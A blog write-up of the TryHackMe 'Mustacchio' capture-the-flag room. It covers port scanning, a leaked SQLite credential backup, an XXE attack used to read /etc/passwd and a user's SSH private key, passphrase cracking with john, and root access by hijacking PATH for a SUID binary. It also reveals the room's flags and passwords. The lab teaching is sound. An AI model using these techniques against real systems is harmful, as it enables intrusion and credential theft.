[TryHackMe] Mustacchio

This writing is to help me solving the challenges in the Mustacchio room. I thought it was worthwhile to write about this CTF because it features a neat XXE - something I don’t see very often - as well as a textbook example of privilege escalation.

I used the TryHackMe environment and launched an attacker machine with IP address 10.82.119.38 and target machine with IP address 10.82.168.35.

Scanning

Most of the time, we start by scanning the default and well-known ports with nmap -sS, -sV -C, or similar flags. The reason for this is that a full scan of all possible ports is time-consuming. As long as nothing appears to be missing, we assume everything is fine. In this CTF, a standard scan wasn’t enough, as you’ll see later on.

nmap -sVC 10.82.168.35

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
|   256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
|_  256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Mustacchio | Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The well-known ports 22 and 80 are open, and there’s a reference to the robots.txt file.

Enumeration

I prefer using ffuf for enumeration. My initial step is to determine whether any directories exist on the target.

ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-files.txt -u http://10.82.168.35/FUZZ -ac

images                  [Status: 200, Size: 6167, Words: 308, Lines: 42]
fonts                   [Status: 200, Size: 1143, Words: 76, Lines: 18]
custom                  [Status: 200, Size: 1115, Words: 76, Lines: 18]

ffuf discovers the images, fonts, and custom directories. Now it’s a good idea to enumerate the files within them.

At first, ffuf didn’t return any useful results. But if you think enumeration ends here, you’re mistaken. It’s always important to open the target’s IP in a web browser and perform manual enumeration. Doing so, I found a file named users.bak in the directory http://10.82.168.35/custom/js/.

I downloaded the users.bak file to my attack machine, and running less users.bak showed that it’s a SQLite file. Kali includes a SQLite database browser, which was able to open the file without any issues.

The SQLite database contains what appears to be credentials for the user admin. I copied the hash and submitted it to hashes.com, which returned the password bulldog19.

At this point, I ran into a problem. After reviewing the entire web application, I couldn’t find anywhere to use the credentials. I also checked whether they might be SSH credentials, but no luck. This led me to conclude that I must have missed a service when I initially scanned only the default well-known ports with Nmap. So it was time for a more in-depth Nmap scan.

nmap -sVC 10.82.168.35 -p-

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
|   256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
|_  256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Mustacchio | Home
8765/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There it is - I overlooked port 8765 during my first Nmap scan. Nmap indicates that this service has a login page, so this must be the right place to use the credentials I recovered from the SQLite file.

http://10.82.168.35:8765

I entered the credentials into the login form at http://10.82.168.35:8765 and was able to log in.

The page includes a form for submitting comments. I entered some dummy data but didn’t see any visible changes. I suspected that a POST request was being made, so I decided to capture and inspect it using OWASP ZAP.

XML

Reviewing the POST request reveals that it is using XML.

The response points to /auth/dontforget.bak.

There’s also a very helpful hint: in this scenario, I need to find a way to download Barry’s SSH key from the server, after which I can log in via SSH. First, let’s check the contents of /auth/dontforget.bak. It’s easy to download this file from the server and read it using the cat command.

<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>his paragraph was a waste of time and space. 
If you had not read this and I had not typed this you and I could\u2019ve 
done something more productive than reading this mindlessly and 
carelessly as if you did not have anything else to do in life. 
Life is so precious because it is short and you are being so careless 
that you do not realize it until now since this void paragraph mentions 
that you are doing something so mindless, so stupid, so careless that you 
realize that you are not using your time wisely. 
You could\u2019ve been playing with your dog, or eating your cat, but no. 
You want to read this barren paragraph and expect something marvelous and 
terrific at the end. But since you still do not realize that you are wasting 
precious time, you still continue to read the null paragraph. 
If you had not noticed, you have wasted an estimated time of 20 seconds.</com>
</comment>

The text looks unusual. Since the POST request uses XML, I decided to try an XXE attack.

XXE attack

XML External Entity (XXE) is a web security vulnerability that allows an attacker to interfere with how an application processes XML data. It can lead to the disclosure of sensitive information, denial of service, server‑side request forgery (SSRF), and other serious impacts. XXE vulnerabilities occur when an XML parser is configured to process external entity references within user‑supplied XML.

I pasted the strange text from dontforget.bak into the form and saw it reflected on the page, indicating it could be used as an XXE payload.

Get digistam’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

The payload can be modified as follows:

As you can see, I added the DOCTYPE line with the reference to /etc/passwd at the top and I replaced the placeholder text between <com> and </com> with &xxe;, which references the entity defined in the DOCTYPE.

I don’t have a lot of experience with XXE attacks, but I imagine this is the key technique to remember for this kind of vulnerability:

SYNTAX

This clearly works. Now, let’s try to retrieve Barry’s SSH key. This is typically stored in /home/%user%/.ssh/id_rsa

This worked successfully. Now I can copy the SSH key and paste it into a file named id_rsa inside the .ssh directory on my attack machine. If you copy the RSA key directly from the browser, the formatting may break and the construction of the SSH key will fail. To avoid this, view the page’s source code (inspect) and copy the key from there instead.

Create the key using nano. After creating the key file, make sure to run chmod 600 on it. Then, try logging in via SSH using the -i parameter.

ssh barry@10.82.168.35 -i id_rsa

SSH prompted me for a password. I didn’t have it, but fortunately I could use ssh2john to try deriving a password from the key. If you try to run ssh2john without specifying its absolute path, you’ll get a warning that it’s not available. This happens because it’s not in your environment PATH. You can use the locate command to find the path to ssh2john.

locate ssh2john
/opt/john/ssh2john.py
python3 /opt/john/ssh2john.py id_rsa > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

John successfully recovered the password: urieljames. Now I can successfully log in via SSH and retrieve the first flag.

barry@mustacchio:~$ pwd
/home/barry
barry@mustacchio:~$ cat user.txt
62d77a4d5f97d47c5aa38b3b2651b831

Privilege escalation

To begin the privilege escalation process, I first checked whether user barry has any sudo rights. Unfortunately, the password urieljames only works for the id_rsa key and isn’t Barry’s actual password, so I can’t check his sudo rights.

The next thing to check is the list of SUID binaries.

find / -perm -u=s -type f 2>/dev/null

The most notable file in the list of SUID binaries is /home/joe/live_log. Viewing /home/joe/live_log with less shows that it’s an ELF file. We can use tools like strings or binwalk to learn more about its contents.

strings /home/joe/live_log
...
Live Nginx Log Reader
tail -f /var/log/nginx/access.log
...

When we run strings on this file, we can see that it uses tail to read the Nginx log directory, but it doesn’t call tail using its absolute path. When a binary calls another program without an absolute path, it creates an opportunity to replace that program with our own version. This is a key concept in hacking.

How does this work

• open the /tmp directory
• create a custom file with the same name (in this case: copy /bin/bash to /tmp/tail )
• chmod 777 /tmp/tail
• export PATH=/tmp:$PATH

I recommend remembering this approach, as it can be a very effective solution in many CTF challenges.

cd /tmp
echo "/bin/bash" > tail
chmod 777 tail
export PATH=/tmp:$PATH

Now, when I run /home/joe/live_log (the file with the SUID bit set), it calls our custom tail binary. Since our version is actually a copy of /bin/bash, it executes with root privileges, resulting in a root shell. Capiche?

Doing so allows me to easily obtain the root flag.

barry@mustacchio:/tmp$ cd /home/joe
barry@mustacchio:/home/joe$ ls
live_log
barry@mustacchio:/home/joe$ ./live_log
root@mustacchio:/home/joe# cd /root
root@mustacchio:/root# ls
root.txt
root@mustacchio:/root# cat root.txt
3223581420d906c4dd1a5f9b530393a5

Conclusion

I really enjoyed the Mustacchio CTF. It offers plenty of learning opportunities, such as thorough scanning, exploiting an XXE vulnerability, and taking advantage of binaries that call files without absolute paths. I don’t care if this CTF is labeled “Easy.”